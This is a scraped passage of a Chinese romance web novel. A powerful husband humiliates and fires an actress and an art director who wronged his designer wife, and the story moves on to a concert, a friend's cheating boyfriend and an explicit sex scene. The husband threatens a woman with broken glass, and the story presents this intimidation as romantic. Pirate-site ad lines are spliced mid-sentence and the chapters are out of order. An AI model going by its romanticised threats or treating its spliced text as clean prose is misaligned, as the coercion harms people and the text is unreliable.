容微月转头看到不远处一个女演员一身淡紫色唐装裙,乌发红唇,朝助理扫去嫌弃的眼刀子,“你到底会不会戴啊,不行别折腾我脑袋了行吗?”
对方连忙低头道歉,周围的人更加心惊胆战伺候。
舒槿唏嘘:“还说没有耍大牌的呢,这个不就是吗?”
容微月不太认识,舒槿早就做过了功课,小声科普:“她是剧组女**,叫江芷姚。”
早年间靠一个选秀综艺出道,红过两年,但因为在**秀综艺里脾气差口碑翻车,如今靠炒作维持热度,是典型的黑红咖。
她家里经商,家境不错,背靠乐心娱乐,和《霜雪吟》投资方关系好,这角色算是硬塞进来的。
舒槿轻啧:“这部剧有她,真是倒大霉了。”
见江芷姚对人骂骂咧咧,容微月只想做好自己分内的事,走过去柔声言:“我是这个饰品的设计师,我来戴吧,你们学一下。”
化妆师们感激点头,容微月说动作不能太用力,这个比较脆弱,江芷姚抬头扫视了她一眼,双手交叉抱胸看向镜子,不爽道:“不是说剧组花了大价格去定制什么饰品吗,这戴在头上一点分量都没有,看过去有点廉价啊。”
容微月葱白的指尖稳稳将发簪推入盘发中,白皙的侧颜如水墨里晕开的兰花,声音温柔:“花丝是纯银抽丝而成,重量比金饰轻得多,戴久了也不会压头的。”
江芷姚左右转着脑袋,不满问:“你们这种非遗工艺看过去也很一般啊,而且这戴上去也显得我脸好宽啊,能不能换一个?”
容微月淡声道:“每个饰品都是根据人物身份性格来设计的。”
江芷姚轻笑:“根据我的人设?我演的是个千金啊,你见哪个千金戴银饰?”
“不是个家道中落在外逃命的千金吗?”
“……”
江芷姚脸色一僵,把手机搁到桌上:“你们的工艺我也不懂,但好不好看我还是能看得出来的。”
江芷姚伸手随意去扯缠绕的花丝,但动作力度过大,头饰的流苏勾住耳环,“啪”的一声脆响,银丝断裂。
珠花噼里啪啦掉
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落在地。
容微月微征连忙俯身舒槿惊呼一声也弯腰赶紧去捡。
江芷姚呆了呆皱眉笑了:“这什么头饰做工也太差了吧。”
舒槿忍不住开口:“花丝镶嵌很脆弱的这些都是手工艺品不能用力的。”
“那你们事先也没说明啊。”
舒槿:??刚刚他们白说了?!
见闹哄哄的副导演进来询问情况舒槿说这些饰品制作费时费力江芷姚的助理维护道:“那我们也不是故意的刚刚芷姚也没用力啊。”
副导演看了眼悠悠然挑选口红的江芷姚给容微月赔笑:“容老师不好意思啊我们演员真不是故意的手工饰品确实有损坏的风险您看能不能先补救一下?”
江芷姚拨弄指甲:“这修一下能有多贵?大不了我个人赔给你们呗。”
容微月面色淡漠:“该赔当然要赔江小姐您有钱但我们更不想浪费这时间。”
“你……”
江芷姚脸色难看怼人的话被助理按下示意她别再说了。
最后舒槿去车上拿简单的工具容微月简单补救了下好在没耽误拍摄。
戴好饰品江芷姚经过容微月身边和助理说话的声音飘过:“一个小工作室也不知道端什么架子
舒槿气得要反驳容微月拉住她的手对方离开后舒槿笑了:“眼睛长在头顶的人给她做头饰我们才晦气。”
“算了这种人见得多了。”
容微月咳嗽着看向掉下来的珠花轻叹气:“今晚我加个班把它补好吧。”
等到傍晚江芷姚拍完戏两人拿着损坏的发饰离开片场。
最近工作室的员工们连轴转容微月不想再辛苦大家加班晚上回到家就泡在她的书房工作间里补修作品。
这发饰她是以“玉兰垂枝”为灵感为主形用花丝勾勒再点缀着掐丝珐琅和琥珀叶片**芷姚一扯一侧的玉兰珠花脱落花丝枝条微弯焊点直接断了。
她戴上围裙和眼镜坐在桌子前用备用的珠花重新嵌在脱落位置再重新用小焊枪定点焊接。
她黑茶色的长发随意挽起桌面台灯衬得面庞白净清澈手上动作流利细致那些细如发的线条被她轻柔复原。
这几天任务繁重她身体又不好基本都在车间干活右手隐隐作痛。
她咳嗽着脸色苍白强忍着喝了中药带来的困意。
赚点钱太难了……
晚上十二点多傅蔺征第三次推门进来看到她还在忙“还没做完?”
她揉揉眼打了个哈欠“快了……”
傅蔺征走
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过来,“这个不是给女**的饰品?不是开机前就做好了?
“你认得出来?
“怎么认不出来,你的画稿我翻了好几遍。傅蔺征问,“为什么要补修?
容微月不想节外生枝,想着做完就拉倒了,“没事,打工人都是这样命苦的,我就差最后一点了。
傅蔺征看到她眼底闪过的委屈情绪,心口微紧,先哄她喝了牛奶,“我在旁边陪着你。
十分钟后,容微月放下工具,伸了伸懒腰,“终于弄好了。
傅蔺征走过来,她闭眼靠在他身上:“老公,我好累了……
他心疼摸摸她的头,俯身看她:“抱你去洗漱,嗯?
她点点头被抱起,傅蔺征带她洗漱完,把她抱到床上,小姑娘软绵绵像块豆腐靠着他,轻声撒娇:“手也疼……
他蹙眉握住她右手,“腱鞘炎又犯了?
如今可以名正言顺依靠他,她也忍不住在他面前变得娇气起来:“嗯,疼了一天了……
“怎么也不说?
这是她第一次会主动和他说自己的不舒服,傅蔺征喉间发涩,立刻给她热敷,又拿了之前买来特别有效的膏药贴给她手腕上,给她按摩着。
没过多久,小姑娘靠在他怀中睡着了,苍白的脸颊写满憔悴。
傅蔺征轻抚开她脸上的碎发,让她放平躺下,盖好被子。
走出卧室,傅蔺征眉眼沉锁,给怀裕发去信息:
【去查一下微月今天在剧组发生了什么事。】
怀裕很快回道:【好的。】
-
一夜过去,京市气温又降了好几度。
翌日八点多,容微月醒来,感觉到手腕疼痛缓解了许多。
傅蔺征已经备好了早餐和中药,还有给她准备的膏药,嘱咐着她天冷要多穿衣服,他今天车队有早训,五点就出门了。
她心间涌上暖意,吃了早餐和药,就和舒槿带着首饰去了片场。
室内,导演正在讲戏,演员们边对戏边化妆,乌泱泱的人群格外热闹。
容微月进去,看到里头正在给演员调试服装的向安悦。
有挺久没看到她了。
昨天她不在,他们就没碰面。
向安悦转头和她的目光在空中交汇,眸光微动,划过道冷意。
容微月神色不变,径直往里走去,把饰品拿到江芷姚桌上。
江芷姚正在补妆,刚刚她因为演技问题被导演怼了一通、咔了十几遍,此刻看到她,面容不悦:
“怎么这么迟才送来啊?等半天了,你们要是这个态度,以后还怎么合作?
江芷姚拍完戏回来就怼天怼地,周围的助理们已经被骂过了一轮,此刻周围其他演员
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第 40 章 “喝醉了胆子这么大?”...
第40章第四十章
【“喝醉了胆子这么大?”】
chapter40
随着傅蔺征沉至谷底的质问声落下,全场死寂无声。
向安悦见到傅蔺征本是欢欣雀跃,可此刻却被那股冷意压得背脊莫名生凉,而江芷姚也没想到自己发个脾气竟然被大Boss撞上,嚣张气焰瞬间落下,心脏跳得飞快。
得知消息的导演和监制也火急火燎赶来,没想到就一会儿的功夫,化妆间里就乱成了一锅粥,连忙请傅蔺征坐下,脸色铁青追问俩人:“傅总问话没听到?到底出什么事了?!”
江芷姚攥着手心,垂着的眼珠一转,两秒后眼眶挤出泪意,声音娇柔开口:
“傅总您好,我是饰演女**的江芷姚……我刚刚只是想换一套更加符合我落魄千金人设的头饰,所以斗胆和花丝镶嵌的老师提了点建议,没想到起了点小争执,是我影响大家了,我给大家道歉……”
江芷姚落下眼泪,朝众人深深鞠了一躬,楚楚可怜,不知道的还以为受了什么天大的委屈。
舒槿都看傻眼了——不愧是演员啊!!
江芷姚哽咽:“傅总,我知道我就是个小配角,算不了什么,但我是为整部剧考虑,我不希望我的造型会影响出品的质量,可能是我表达有误,让容小姐误以为是我太骄纵,其实没有的……”
江芷姚自知自己有背景有后台,在哪儿都有人包容,傅蔺征不可能会为了区区一个打工人教育她。
刚才是她声音最大,主动认个错,场面上过得去肯定就行了,说不定还会在傅蔺征眼中落一个懂事的人设,更讨人欢心。
江芷姚哭得梨花带雨,副导演一直很袒护江芷姚,见此小心翼翼赔笑:“傅总,芷姚她性子直率,说话可能冲了点,但肯定出发点是好的,容小姐也辛苦了,大家在一起共事难免有些摩擦,也正常……”
“正常?”
傅蔺征眼底如淬了冰:“张导处理事情一直就是这样和稀泥的?”
副导演吓得收住话口,傅蔺征长腿交叠坐着,掀起眼皮看向江芷姚:
“昨天是你把花丝镶嵌的头饰弄坏了?”
男人声音轻飘飘的,却带着极重的压迫感。
江芷姚眼睫一抖,这事他怎么知道的?!谁能把这状告过去的……
江芷姚偷偷瞪了容微月一眼,又挤下几颗眼泪:“傅总,昨天是我不小心碰坏的,但我真不是故意的,但好在容小姐连夜修好了,她挺尽责的,我只是觉得这头饰太素……”
傅蔺征看向她,慵懒扯唇:“嗯,是挺丑的。”
江芷姚:!!
她就说她的眼光是对的!
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江芷姚压下红唇,娇声道:“傅总,其实也不丑,毕竟是她们辛苦做的,就是不适合我。
“摘下来,换了。
傅蔺征道。
周围人面面相觑,没想到大老板会给她撑腰,江芷姚连忙让助理摘下,娇滴滴问:“傅总,那您建议我换哪套呢?
傅蔺征修长手指转动无名指的婚戒,看向她的眼神寒意直达瞳底,笑意凉薄:
“饰品有问题么?
“我说的是,换人。
全场哗然。
江芷姚脸上笑容僵住。
傅蔺征长腿交叠,冷眼看她:“不是挑三拣四?那就滚吧,什么都别戴了。
“这么漂亮的花丝镶嵌给这样的演员,拍出来能对得起观众?
傅蔺征向来发火时说话极狠,不论男女,不留情面。
江芷姚像是被当中抽了个耳光,脸色苍白,这下慌了:“傅总,我、我错了,我只是想友好协商而已……
“按头让人道歉也叫友好协商?
傅蔺征笑了:“这么喜欢当领导,不如这个出品人的位置给你坐?
江芷姚欲狡辩,这时怀裕走进来,带着查到的昨天下午的化妆间监控。
带着声音的视频里很清晰,从一开始江芷姚就对饰品的佩戴满脸不耐烦,多次羞辱容微月和晴月阁的饰品,还用蛮力扯坏饰品,神色傲慢,毫无歉意。
铁证如山,全场的人看向江芷姚,后者彻底哑口无言。
傅蔺征环视全场,黑眸冷沉:
“剧组里的所有的手工饰品,都是为角色量身定制,耗费大量人力物力,逐层审核通过,有问题来找我,谁要是擅自破坏,恶意诋毁,就是和一样的处理结果。
设计师们从初稿开始不断反复修改精进,匠人们日日夜夜认真辛苦制作,再到剧组逐层确认,江芷姚今天凭心情说换就换,是在辜负所有人的心血。
江芷姚唇色苍白,傅蔺征冷眼看她:“道歉。
她呆愣住,傅蔺征道:
“和容小姐道歉。
江芷姚从小到大也是个养尊处优的公主,从没当着这么多人的面受过这种委屈,气得转身欲走,傅蔺征冷鸷嗓音传来:
“你今天要走,就别想再踏进这个圈子。
这是直接拿**警告,全场掀起暗潮,周围领导都不敢劝阻,江芷姚指尖掐进掌心,眼眶通红,几秒后喉间卡出几字:“抱歉容小姐……是我不该对你们的饰品不尊重。
容微月神色淡淡,傅蔺征对怀裕道:“把人带出去,谈好昨天对晴月阁造成的损失赔偿,算在她个人头上。
“是。
江芷姚:“……
她失了魂往外走,一群
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
助理们乌泱泱跟上。
全场安静间,向安悦心惊肉跳,默默向往后缩,谁知傅蔺征视线朝她捕捉而来,嗓音泛凉:
“道歉的头是你起的?”
向安悦心虚声抖:“傅总,一开始是我误会了,我也是为了剧组……”
“是么?”
向安悦心慌看向容微月:“对不起微月,我没搞清事实就妄作判断,是我误会了……”
傅蔺征冷笑:“剧组花钱请美术指导是为了保障整体视觉风格,不是带头挑事,以向小姐这样的专业和人品,我很难相信你能给《霜雪吟》提供什么好的帮助。”
他把她的工作笔记甩在桌上:“去找制片结清尾款,我们另请高明。”
向安悦脑中砸下巨石,“傅总……”
傅蔺征站起身,居高临下扫视全场,声线冷沉:
“我再说一次——大家既然共事,就该互相尊重,遇到问题合理协商,在我手下,如果再发现踩人立威、拉帮结派,把剧组搞得乌烟瘴气的行为,全部给我走人。”
全场都被震慑到,鸦雀无声。
最后向安悦也被请走,傅蔺征看向容微月,柔淡道:“容小姐,你的时间也很宝贵,以后遇到这样的问题,直接和导演反馈,不需要花时间和人多费唇舌。”
她看着他,心头涌生热意,颔首。
这是说给旁人听,总导演忙应下,也代表剧组和容微月道歉。
事情处理完,大家散开,也有几个演员过来安慰容微月,大家都表示很喜欢她做的饰品,更是讨厌江芷姚这种资源咖久矣。
容微月暖心道谢,继续给大家戴首饰,到高黎身边时,容微月感谢她刚才帮忙说话,女人淡笑:
“是别人欺人太甚了,好在傅总出面了,而且你刚刚敢当着那么多人的面反驳她,很有勇气。”
容微月弯眉,“我也就是实话实说而已,谢谢高黎姐。”
刚才大家在旁边看到容微月的不卑不亢,都暗生佩服,正常人都**芷姚那态度吓得认错了,只有她还一脸淡定。
但容微月也知道自己有底气不是因为傅蔺征,而是从小到大她都有点脾气,遇到底线绝不退让,就算今天傅蔺征不来,她也绝不会道歉。
戴完饰品,舒槿激动小声道:“姐,刚刚傅总给你撑腰好帅啊!!一看到你受欺负他就来了,也太爱了。”
容微月也没想到傅蔺征竟然会来,正好怀裕来找她:“嫂子,征哥请你去过去,他在等您。”
容微月独自过去,推开门,就看到傅蔺征一个人在会议室里,身姿慵懒倚着办公桌。
关上门走到他面前,“傅蔺征?”
见他神色淡漠,她星眸弯弯,忍不住扯他
听说看这本书的人都是很幸运的,分享后你的运气会更棒
衣袖:“老公老公?”
傅蔺征压下唇角“叫老公也没用。”
他把她拎远了点:“站好了别动手动脚教育完别人你以为你不需要教育了?”
她呆呆睫毛扑闪:“我怎么了……”
“平时就知道和我窝里横昨天受了委屈为什么一声不吭?我们什么关系?要不要再给你复习一遍结婚证?”傅蔺征拧眉“你知不知道我赶过来的时候有多着急就怕你受欺负。”
其实容微月真没多生气本来她就对江芷姚不屑一顾可此刻看到傅蔺征的生气她真的意识到她现在不再是一个人了。
她鼻尖冒酸低下头:“我觉得没什么大事我能处理得来也怕你生气就没和你说……”
男人沉眸揽住她腰把她抱到办公桌上俯身看她声音无奈宠溺:“又不是真凶你哭什么?”
容微月摇摇头明白他意思傅蔺征抬手摩挲她脸柔声道:“遇到什么事都可以告诉我既然我们结婚了你就该光明正大依赖我知道么?”
他眉梢挑起:“你老公不就是来为你解决所有一切难题的?我要没这本事凭什么娶你啊?”
容微月怔住眼眶微润。
“知道我家公主有能力不需要靠我也能处理但我也不会让你一个人。”
傅蔺征拖腔带调道“婚后两个人要互相扶持没听过?有空去提前背背婚礼誓词提高点思想觉悟。”
她眼尾微弯扯他衣袖:“我知道了以后我遇到事情会告诉你。”
“别光长了张嘴”他哑声落下“下次再这样回去要狠狠打你屁股。”
容微月脸颊冒红转移话题:“你怎么知道这件事?”
“昨晚就感觉你不对劲了我就让怀裕去查了。”
其实来的时候他想公开他们的关系高调给她撑腰可是他知道她其实需要的是公正和尊重的对待她本来就没有做错
容微月感动可又担心:“可这样会不会影响拍摄进度?”
傅蔺征说来之前都安排好了女**还没拍几场戏影响不了什么而且江芷姚这样的资源咖留在剧组是个隐患搞不好还会毁了这部剧。
“今天手好点没?”傅蔺征问。
“好多啦。”
他去旁边拿了个袋子里头是杯小吊梨汤和青橘蛋糕“先吃点东西等会儿帮你按摩。”
“你有时间吗?”
傅蔺征笑“一大早赶去训练不就是想为了早点忙完过来看你?”
她酒窝点起。
另一头向安悦去制片处结清了尾款签了解聘
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合同,如被扔在零下三十度的冰面上,气得发抖。
为什么?傅蔺征对她半分情面都不留,是因为她行为惹怒到了他,还是因为……容微月?
不,不可能是容微月,都六年过去了,傅蔺征肯定看不上她了……
心底的不甘快要冲破头顶,谁知这时怀裕来找她:“向小姐,傅总请您过去一趟。
傅蔺征找她?
是事情还有转机?还是想和她解释什么?
她连忙跟过去,可满腔期待在走进会议室的一瞬,突然愣住。
只见容微月坐着,傅蔺征在旁边亲手喂她蛋糕,眉眼宠溺:“怎么样?新升级的味道如何?
“还行,但还是不加坚果好……
傅蔺征勾唇,拿纸巾给她擦嘴角的奶油,低声哄着:“行,我下次让他还是按照老配方做。
两人亲昵甜蜜的画面如雷劈在向安悦头顶。
她脑中空白,难以置信:“你们……
傅蔺征闻声看了过来,眼底的温柔一瞬间化为森寒冷意。
他薄唇吐出几字:“向安悦,当初杜海滨卡晴月阁的稿子,是你在当中推波助澜的是吧?
她一怔,傅蔺征朝她步步逼近:“当初提案会,也是你看到了微月手有腱鞘炎,所以偷偷怂恿杜海滨,来个加赛是吧?
前段时间杜海滨离开京市后,傅蔺征仍在背后调查,就在前几天怀裕查到当初杜海滨在出事后找向安悦帮忙求情,但是被向安悦拒绝并威胁了,上周杜海滨喝醉了,就把当初的事和朋友全盘托出,这才被他们知晓。
向安悦闻言心慌垂眼,耳边突然炸响。
“砰——
男人抬手将玻璃杯甩落在她身旁,四分五裂,水花四溅,向安悦吓得惊叫一声。
傅蔺征压抑着怒火,步步走近,她后退着,后背紧贴着门,男人视线落下:“见过杜海滨的手么?
那只碰过容微月的手。
在鲜血中开了朵玻璃花。
向安悦脸色惨白,傅蔺征俯身,修长指尖慢条斯理捡了片玻璃,亮晶晶的棱角折射出寒光,他黑眸深深:
“老子不打女人,但你要是再伤害我老婆一个指头,我不介意让你试试自己扎自己是什么感觉。
向安悦红着眼眶呼吸发颤,听到那两个字,突然一滞。
什么?老婆?!!!
她视线落向傅蔺征无名指上的婚戒,满脸不可置信,“你们结婚了……
“现在知道我们是什么关系了?你再敢弄她试试?
向安悦血色尽褪,没想到六年后容微月又勾引到了傅蔺征,喉咙艰难挤出声音,忍不住道:
“傅蔺征,你们明明已经分手了那么多年,当初…
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
…当初是她甩了你……
傅蔺征轻笑:“分手又怎么样?老子就喜欢她,以前是,现在也是,只要她一出现,就能把我迷得神魂颠倒,是我要缠着她,只要我在,就不会让她受欺负。
向安悦眼红,他冷鸷嗓音落下:“我记得你家里有个建材公司,你父亲的手干不干净你清楚,我不介意去好好帮你审查一下,还有下一次,就不是你一个人承担这个后果了,听到了么?
向安悦脊背一松,快要瘫坐在地上。
傅蔺征随手把玻璃碎片扔进垃圾桶,叫来怀裕:“把人带出去。
向安悦被带走后,地面的玻璃也被处理干净,傅蔺征走回去,看到容微月怔怔微润的目光,“吓到你了?
容微月摇摇头,握住他手,“你没受伤吧?
“没有。
傅蔺征从来不对她发脾气,但她知道他脾气是很烈的,“我刚刚要是向安悦,要被吓哭了。
傅蔺征揶揄:“就你这小哭包,你需要被吓哭么,我用力点快点你就哭了。
“……
她嗔他不正经,“你刚刚说的那些是真的吗?
“哪些?
“就……她害羞,“被我迷得神魂颠倒那些。
没想到小姑娘的注意点在这儿,男人笑了:“这都想不通?自己琢磨去。
她脸颊热热,软声嗫嚅:“你不否认,那我就当你承认了哦。
傅蔺征笑,捏捏她的脸:“行,跟我在一起久了,脸皮倒是没那么薄了。
她压下唇角。
那还不是被他的厚脸皮影响。
末了吃完蛋糕,傅蔺征陪了她一会儿,还有个会就先离开。
早晨的事过去,也没有人敢议论什么。
第二天,容微月就收到了江芷姚那边发来的赔偿款,很快新演员和美术指导进组,和大家关系都处得好,对容微月也很尊重。
江芷姚被换掉的事传到网上,她耍大牌传开,网友们拍手称快,后来她的资源一直都在走下坡,名气大不如从前,也不知道傅蔺征有没有在背后动了点手段。
在剧组忙了几天,容微月就暂时不用去了。
傅蔺征格外留心她的手,又是贴膏药又是热敷,还管着她的一日三餐,她虚弱的身体也慢慢调养着。
周末,容微月早晨看完中医,回来时抢到了两张小提琴演奏会的票,发信息给殷绿:
【绿绿,有空一起去听?】
容微月这几年虽然没有再参加小提琴比赛,但在京市有相关的小提琴演奏会她都会去听,殷绿也挺喜欢的,是她的音乐搭子。
殷绿应下:【好啊,累了一周了,刚好有空,好久没听了,多少钱我转你。】
你身边有不少朋友还没看到本章呢,快去给他
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们剧透吧
容微月:【不用,我刷的是傅蔺征的卡,他请客。】
殷绿:【哎呦妈呀那我沾光了,傅蔺征的钱可太多了,你刷爆他的卡。】
最近容微月这段时间买什么都是刷他的卡,一开始她觉得挺不好意思的,可是她不花傅蔺征就不开心,甚至晚上还用那样的手段逼她花。
她听说过太多婚后男人抠门,第一次见到这种她不花钱他还不乐意的。
而且傅蔺征对她好,对她身边的人也很大方,几乎每天他都会给她和工作室里的小伙伴们点下午茶和甜品,有的时候中午还会给他们加餐,惯会收买人心的。
容微月也瞒不住,大家如今都知道了她有个超级有钱的对象,只是不知道是谁,吕丹和舒槿也没往外透露,只说这位前无古人后无来者的优秀,搞得大家都特别好奇。
晚上容微月穿了件米杏色的羊绒大衣,内搭藕粉色的针织连衣裙,整个人清婉温软,如海藻的黑茶色长发披散,耳畔点缀着一对小珍珠耳钉,好乖好软。
化完妆,她走去水吧台倒水,在客厅给呼呼驱虫的傅蔺征抬眼看她,慵懒道:“又穿这么好看。”
她笑笑,“今天刚好化了个妆嘛。”
“你不化妆也好看。”
她走过来,坐到他旁边,“我是不是套个麻袋你都觉得好看啊?”
傅蔺征吊儿郎当道:“你光溜溜的最好看。”
“……”
她羞赧弯眉,捂住呼呼毛茸茸的耳朵,“孩子还在呢,不能乱说。”
傅蔺征勾唇,倾身过来吻他:“它难道不早就习惯了?”
呼呼抬头看了他俩一眼,又无奈耷拉下脑袋,想拿小耳朵蒲扇盖住眼睛。
一吻结束,她羞得从他怀中逃出来,“好了我真要走了,听完音乐会要到九点了,估计我们还要吃个夜宵,没那么快。”
傅蔺征轻嗤,揉揉呼呼:“行,没关系,这么冷的天,就我们爷俩相依为命抱头痛哭呗。”
容微月再度想到他那句“抛夫弃子”,亲他一口:“抱头痛哭也要多穿点哦。”
她被他抓了过来,她乖乖投降,“我错了……”
傅蔺征轻嗤了声,“九天。”
“什么?”
“还有九天你中药就喝完了。”
他灼灼看着她,语调幽深,“到时候不会放你出去了。”
她耳根冒红,到时候她也不想出门,肯定要和他做很多的……
傅蔺征吻她耳垂,“结束后联系我,我去接你回家。”
她酒窝点起,“好。”
下楼,殷绿开车来接她,晚饭后,俩人去到剧场,坐到位子上,翻看着今晚的节目单,殷绿诧异:“诶,今晚压轴曲目的独奏嘉宾
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叫……柯尹梦,这名字好熟悉啊,是你以前那个朋友吗?
容微月看到这名字,目光微顿。
柯尹梦,她曾经小提琴机构一起上课的朋友,当时老师最看好的就是她们两个姐妹花,她们经常一起比赛。
“应该不是重名。容微月轻声道。
殷绿感叹:“她好厉害啊,竟然是本场的特邀独奏嘉宾,你和她是不是都断联了?
“嗯,上大学后就没联系了。
当时柯尹梦有个琴谱在她这里,她有主动联系过对方想归还,但是对方没回复她,这份友谊后来也石沉大海。
这几年容微月偶尔有刷到过她的消息,名校毕业,柏林大学音乐系硕士,获奖颇多,如今炙手可热。
压轴时刻,容微月看到柯尹梦一席深蓝色的无袖亮片长裙优雅走上舞台,和高中时她干瘦黝黑的模样判若两人,肤白貌美,温婉大方。
她手稳扶住琴身,提弓下压,悠扬的琴声在大厅响起,令所有人沉醉其中。
六年不见,柯尹梦的琴技更加高超。
容微月看着舞台,脑中不禁闪回那场比赛的画面,尖锐刺耳的批判声如水蔓延而来,刺得她浑身发疼。
她低头喝水,压下情绪,继续听柯尹梦演奏着,被震撼的同时心头不禁羡慕落寞。
如果当年,她没有放弃小提琴呢?
如果离开花丝镶嵌,她现在又会过着怎样的人生……
一曲毕,掌声雷动,柯尹梦起身华丽谢幕,光芒万丈。
演出结束,容微月和殷绿往外走,途径艺术长廊就看到柯尹梦正被粉丝们包围着,手中抱着鲜花,笑意妍妍。
容微月不好意思去打扰,谁知柯尹梦转眼看到她,眸掀起水花:“微月?
容微月和殷绿走过去,柯尹梦眼神掀起波澜,回过神一笑:“微月,好久不见啊,没想到今晚能在这里碰到你。
容微月含笑和她寒暄,柯尹梦笑笑:“你是毕业后回来北京了?
“嗯。
时不时有粉丝过来让她签名,柯尹梦签完,朝容微月莞尔:“我这两年世界各地演出,上周刚从柏林回来,你现在在干什么?
“我做花丝镶嵌。
柯尹梦目光微变,“是你从前家里让你做的手工艺品吗?
“嗯。
柯尹梦诧异:“怎么不拉小提琴了啊?当初老师都夸你是最有天赋的。
容微月怔了怔,垂眸,“现在……太忙了,就当个爱好吧,你现在才叫优秀。
柯尹梦笑了笑:“幸运了点,我也算是努力实现自己的目标了。
柯尹梦的经纪人过来,柯尹梦说和容微月加个微信,“之前的我都不用了,有空我
听说看这本书的人都是很幸运的,分享后你的运气会更棒
再约她出来我们聚聚?”
“好。”
加完微信俩人先离开柯尹梦目送着经纪人诧异:“这是谁啊?”
柯尹梦深吸一口气红唇勾起一抹弧度:“曾经的好朋友。”
另一头殷绿忍不住感慨:“感觉柯尹梦变了好多啊。”
“嗯?”
“说不出来就是感觉和之前不一样了……以前她特别内向现在落落大方了好多红气养人吧而且她整容了你有没有发现鼻子和眼睛都做了还挺漂亮的呢。”
“她现在也越来越自信了。”
殷绿若有所思:“不过也奇怪她真想找到你哪怕换了微信也可以和你说一声吧可是大学四年你们就没联系过好像她……也没主动过。”
容微月也没想通今晚柯尹梦对她的态度比想象中热情许多“本来我以为她不会和我打招呼的。”
“不过也正常有些朋友也是断联以后又联系上的”殷绿感慨“不过月月你要是和她一样大学学音乐专业肯定也能成为一个很厉害的小提琴家的。”
容微月想到曾经的事低头:“……没事一切都是命中注定吧我不适合拉小提琴。”
殷绿感觉到她的情绪忙揽住她:“谁说的你那么厉害不过你现在做花丝镶嵌也很好啊我家月月那么厉害做什么都会成功的。”
容微月忍不住笑:“嘴巴真甜。”
“走
俩人走到车旁殷绿突然接到电话:“……外卖?我没点啊你送错了吧……什么晓枫花园?”
挂了电话殷绿说有个她外卖但地址是她男朋友家“可他明明说周末出差了啊?是他点的外卖吗?”
之前殷绿在他家玩用他手机点过外卖她打电话给男友然而那头一直没接。
莫名的心头惴惴不安。
最近对方对她很冷淡也不爱和她见面殷绿拧眉看向容微月:“宝……我第六感觉得不太对劲。”
容微月对上她目光当机立断拿过她手里的车钥匙:“上车我们过去。”
殷绿怔了下立刻跟上。
一路踩着油门路上傅蔺征打来电话问容微月何时结束便得知了她们的行程。
半小时后两个女孩到小区走上楼就看到男友家门口有双黑色高跟鞋还有还没拿进去的外卖打开一看竟然是小雨伞。
没见过出轨还这么蠢的殷绿脸色煞白容微月沉着打开手机摄像头握住殷绿的手:“别怕我陪着你。”
殷绿有男朋友的家门密码飞快打开门冲进去就看到男友方卓正在和一个女的窝在沙发上看电影桌上摆着
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第 41 章 “宝贝,生日快乐。”...
第41章第四十一章
【“宝贝生日快乐。”】
chapter39
容微月细软的声线如裹了糖浆甜里透媚水眸潋滟看他像一只调皮的野猫。
傅蔺征没想到她这么大胆黑眸暗浪掀翻更紧搂住她呼吸沉沉看她:“想看?”
微醺状态下一切都飘飘然容微月清纯的琥珀眸勾起千丝甜腻软声道:“嗯给我看好不好……”
傅蔺征喉结烧得干灼额头冒汗带着蓄势待发的力量感
“好啊想看就自己拿出来嗯?”
他不甘示弱把主动权抢过去容微月如被逗猫棒吸引的小猫心跳如鼓下一秒葱白指尖慢条斯理靠近浴袍带子足尖贴上公狗腰人鱼线滑落。
据科学报告记载深海海底有一处活火山六年前小姑娘曾到此做过研究能量储藏惊人威力恐怖六年后她整装出发重返深海再度探险。
夜晚海底能见度很低穿过四角的珊瑚群映入眼中的是座巍然矗立的火山此刻火山随着地壳震动热气腾腾灼岩翻滚随时涌出。
经过地表活动山体拔升似乎比六年前更加高耸此刻已然凌厉耸峙。
容微月想到他之前说的哪怕什么都不需要她的眼神就已足够……
时隔六年这对科考队员来说熟悉又陌生小姑娘面颊镀上绯色翩跹眨眼傅蔺征灼灼看她气音喑哑:“宝宝喜欢么?”
她记得傅蔺征有两处黑痣最为勾人。
第一处是右眼眼皮上另一处更要命。
她轻咬着红唇羞赧承认:“喜欢。”
喜欢**呜呜……
她主动亲了亲他“开始咯。”
她拿起旁边的手机点下秒表琥珀眸子弯起:“记个时至少要十分钟没到的要惩罚哦。”
傅蔺征心底星火迸发理智失守要被她弄feng了:“什么惩罚?”
她笑:“罚你一周不许进来睡。”
她说这话是认真的傅蔺征气笑了趁着他现在动不了她就为所欲为。
傅蔺征重重呼出一口气跪在蝴蝶中只能听她安排如大狗接受主人的训练。
其实十分钟本是轻轻松松但是此刻最爱的小姑娘躺在他面前嫣红唇天鹅颈如绸缎莹白就足够让他自制力寸寸断裂。
想快却不能。
好想要关于她的更多。
容微月忍羞看着丝毫不为所动脚搭在他宽阔的肩膀半晌傅蔺征蹙眉偏过头吻着她白皙脚踝嗓音沙哑求她:
“宝宝……。”
容微月挑唇“
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
你想要什么?”
大狗狗直勾勾看她,容微月戴着钻戒的指节勾了…,举起来,杏眸潋滟流转:
“只能给你这个,要么?”
傅蔺征黑眸暗下,没想到她这么会钓,太阳穴突突跳动,低低应了声,接过包住,**蛇的气息缠上甜甜的山茶花,黑痣时隐时现,男人灼红的眸光紧紧攫住她:“是这样么?”
他太se了……
容微月压下心跳,“嗯,就这样……”
傅蔺征俯身吻她,气息哑到极致:“什么时候买的这条?故意的?”
容微月攀住他肩头,声线软绵:“嗯,前两天买的,感觉你会喜欢这种……”
小姑娘外表看过去乖,实则太坏了,他咬着她耳廓,话也很浑:“怎么会这么勾老子啊,以后我给你买,你穿完第二天我带去训练,中午就在办公室用这个来…,好不好?”
容微月听着脸红要滴出血,“才不给你……”
这人坏**……
时钟还剩下五分钟,傅蔺征握住她两只脚丫:“宝宝,试试这个。”
她愣了两秒反应过来,唔了声,脸颊通红。
他烹饪了一道香喷喷的肉夹馍,容微月心跳失了秩序,见他喜欢,直接拿过烹饪主动权,学习能力极强,“是这样吗?”
黑痣时隐时现。
傅蔺征眼底黑炽,声音哑了:“好棒。”
理智一点点消失殆尽,他看到那昏黄灯光下,她如傍晚晚霞下的江水,早已漾起片片金鳞。
她看着他就能这样。
男人口干舌燥,一头扎进江面。
容微月脑中轰然,心跳砰砰砰:“傅蔺征,不要……”
男人坏透了,“不要什么?都…成这样了。”
她腰间被牢牢锢住,动弹不得。
如一只小鱼卷入狂风呼啸的夏日海面,熟悉的回忆再度扑面而来,她手从他发间穿过,又去揪住被单。
她眼睛一圈圈洇红,半晌,鱼儿被拍到海滩边缺氧扑腾,落下泪来。
